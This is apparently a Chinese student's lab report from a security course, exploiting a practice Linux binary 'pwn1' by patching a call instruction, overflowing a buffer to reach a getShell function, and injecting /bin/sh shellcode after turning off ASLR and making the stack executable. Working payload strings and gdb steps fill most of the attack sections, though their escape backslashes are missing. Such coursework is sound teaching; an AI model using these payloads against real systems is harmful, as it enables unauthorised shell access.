一、实验说明
1.对象:名为“pwn1”的linux可执行文件。
(该程序正常执行流程是main调用foo函数,foo函数会简单回显任何用户输入的字符串)
2.目标:想办法运行该程序中的代码片段,getShell,返回一个可用Shell
3.实践内容如下:
-
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
4.思路:
-
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
5.所需基础知识:
-
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
- 指令、参数
- 熟悉Linux基本操作
二、具体操作
(一)直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
1.下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。
(1)先看main函数的第4行,"call 8048491 "是汇编指令,是说这条指令将调用位于地址8048491处的foo函数;其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
( 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如解释e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。)
(2)main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为另外一个值,使得EIP存的值80484ba与d7ffffff修改后的值和为函数getShell的内存地址804847d。用 Windows计算器,直接804847d-80484ba就能得到补码,是c3ffffff。
(3)故将“d7 ff ff ff”改为“c3 ff ff ff”,就可以使CPU在解释e8的时候,跳转到地址804847d处的getShell函数。80484ba+c3ffffff=804847d
2.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
(1)输入 cp pwn1 pwn2 ,对pwn1文件进行备份,然后输入 vi pwn2 对pwn2进行修改。结果如下图所示。
(2)输入 :%!xxd ,将显示模式切换为16进制。结果如下图所示。
(3)输入 /d7 ,查找要修改的内容。查找到d7比较多,结合反汇编可确认应该是下图所示地方是正确的。
(4)修改d7为c3。结果如下图。
(5)输入 :%!xxd -r ,转换16进制为原格式。结果如下图所示。(此步骤容易遗漏)
(6)输入 :wq ,存盘退出vi。
3.输入 objdump -d pwn2 | more ,查看是否修改成功。结果如下图。
4.输入./pwn2,检查是否能成功运行。结果如下图,确实能成功运行一个shell。
(二)通过构造输入参数,造成BOF攻击,改变程序执行流
- 知识要求:堆栈结构,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
1 .反汇编,了解程序的基本功能
输入 objdump -d pwn1 | more ,查看反汇编结果,并分析漏洞所在。
(1)注意这个函数getShell,我们的目标是触发这个函数
(2)该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。在此函数中,会读入字 符串,但系统只预留了28(0x1c转换为10进制为28)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。
(3)main函数中,call调用foo时,会执行push EIP的操作,在堆栈上压上返回地址值80484ba。
2.确认输入字符串哪几个字符会覆盖到返回地址
(1)用 gdb pwn3 调试程序(pwn3为pwn1的复制,用于进行操作修改),输入有规律的字符串如 1111111122222222333333334444444455555555 ,发生错误产生溢出。使用 info r 查看寄存器eip的值,发现输入的5555被覆盖到堆栈上的返回地址(字符5的ASCII值为00110101,转换成十六进制就为35)。
(2)如果输入字符串 1111111122222222333333334444444412345678 ,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
3. 确认用什么值来覆盖返回地址
由上分析的需把33-36这四位改为getshell的内存地址0x0804847d,又因为是小端优先,所以构造的字符串应为为11111111222222223333333344444444x7dx84x04x08。
4.构造输入字符串
(1)由于无法直接将此字符串输入,因而先用Perl命令生成字符串文件。
输入命令 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' >input ,并且使用 xxd input 验证字符串文件内容。
(2)输入命令 (cat input; cat) | ./pwn3 ,此命令意为将input文件作为pwn3的输入。
(3)检查结果,发现除了没有“$”符号外,运行正常。
(三)注入Shellcode并执行
1.准备一段Shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的 cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
2. 准备工作
修改些设置。(pwn4为pwn1的复制版,用于操作)
# execstack -s pwn4 //设置堆栈可执行 # execstack -q pwn4 //查询文件的堆栈是否可执行 X pwn4 # more /proc/sys/kernel/randomize_va_space 2 # echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 # more /proc/sys/kernel/randomize_va_space 0
3.构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
-
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 我们这个buf够放这个shellcode了
- 结构为:nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
输入已经准备好的 shellcode:perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode 上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
(1)确定x4x3x2x1到底该填什么
打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./pwn4
再开另外一个终端,输入命令 ps -ef | grep pwn4 找到pwn4的进程号:(进程号为1777)
用 gdb 来调试pwn4这个进程:
输入 break *0x080484ae 设置断点,来查看注入buf的内存地址:
注意:断点的设置要在ret以前,因为ret会执行pop EIP的操作,ret完,就跳到我们覆盖的retaddr那个地方了。
进行完这一步之后,在另一个终端(之前的那个终端)中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
输入命令c,意为continue:
输入 info r esp ,查看esp寄存器的地址为0xffffd32c:
输入 x/16x 0xffffd32c ,再往前找:
看到 01020304了,返回地址的位置。shellcode就挨着,所以地址是 0xffffd330。
(2)注入payload
输入 perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode :
输入 xxd input_shellcode ,查看文件内容:(41为A的ASCII)
然后输入 (cat input_shellcode;cat) | ./pwn4 运行,此时便可以进执行机器指令了:
三、实验总结
1.实验感想
总体感觉,本次实验不算难。好好看视频,听课,按照步骤慢慢做,是可以做出来的。本次实验的重点,在于理解原理,知识点包括函数调用在堆栈上是怎样体现的,shellcode怎样构成等等,个人认为还是挺考验基础知识的。第一遍看视频的时候,总觉得有点难理解,吸收不到知识,于是在第二天的时候再次观看视频,感觉容易理解多了,也巩固了课堂所学知识。
2.错误总结
总体实验流程还是很流畅的,遇到了几个问题。
(1)刚开始的时候,没有用cd进入文件所在之处,报错说找不到文件,经他人提醒才知道;
(2)使用gdb的时候,发现未安装gdb,输入sudo apt-get install gdb 安装gdb工具,报错找不到软件源,通过输入命令# apt-get update、# apt-get upgrade、# apt-get install gdb,成功安装;
(3)通过第三种方式实验时,输入指令 (cat input_shellcode;cat) | ./pwn4 ,因为没有显示就再按一次回车,然后发现无法找到进程号,通过他人博客才知道多按一次回车会使程序执行结束;
(4)通过第三种方式进行实验时,输入命令echo "0" > /proc/sys/kernel/randomize_va_space 用于关闭地址随机化,报错“bash: /proc/sys/kernel/randomize_va_space: permission denied”,我在前面加sudo,输入sudo echo 0 > /proc/sys/kernel/randomize_va_space,报同样的错误,因为sudo命令不支持重定向,最后通过输入sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space,解决问题;
四、思考题
什么是漏洞?漏洞有什么危害?
答: 漏洞是程序设计不完善的地方,是在安全上存在的缺陷。比如此实验中由于预留位置不够,当输入更多数据时,会造成缓冲区攻击。
这个缺陷可能被不法分子利用,从而达到窃取他人电脑上信息甚至控制他人电脑的目的。无论对国家、企业,还是个人,利益都可能受到损害。比如国家秘密的泄露,企业或个人信息被窃取。